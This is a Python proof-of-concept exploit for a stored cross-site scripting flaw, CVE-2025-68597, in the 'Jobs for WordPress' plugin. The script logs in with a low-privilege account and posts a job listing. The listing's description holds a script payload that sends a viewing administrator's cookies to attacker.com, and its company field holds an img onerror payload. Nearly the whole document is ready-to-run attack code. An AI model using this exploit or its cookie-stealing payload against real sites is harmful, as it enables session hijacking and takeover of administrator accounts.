CVE-2025-68597: WordPress Jobs插件存储型XSS漏洞

import requests import sys # CVE-2025-68597 PoC - Stored XSS in WordPress Jobs Plugin # Target: WordPress site with Jobs for WordPress plugin <= 2.8.1 target = "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" # XSS payload - steals admin cookies xss_payload = "<script>document.location='https://attacker.com/log?c='+document.cookie</script>" def exploit_stored_xss(): """ This PoC demonstrates the stored XSS vulnerability in Jobs for WordPress plugin. The plugin fails to sanitize job posting fields before storing them in the database. When administrators view job listings, the malicious script executes. """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = f"{target}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Submit malicious job posting job_submit_url = f"{target}/wp-admin/admin.php?page=job-postings-add" job_data = { 'job_title': 'Senior Developer Position', 'job_description': xss_payload, # Malicious XSS payload 'company_name': '<img src=x onerror=alert(document.domain)>', 'submit_job': 'Publish' } response = session.post(job_submit_url, data=job_data) # Step 3: When admin visits job listing, XSS executes print("[*] Malicious job posting submitted successfully") print(f"[*] XSS Payload: {xss_payload}") print("[*] Wait for admin to view the job listing...") return True if __name__ == "__main__": print("CVE-2025-68597 - WordPress Jobs Plugin Stored XSS") print("Target: Jobs for WordPress Plugin <= 2.8.1") exploit_stored_xss()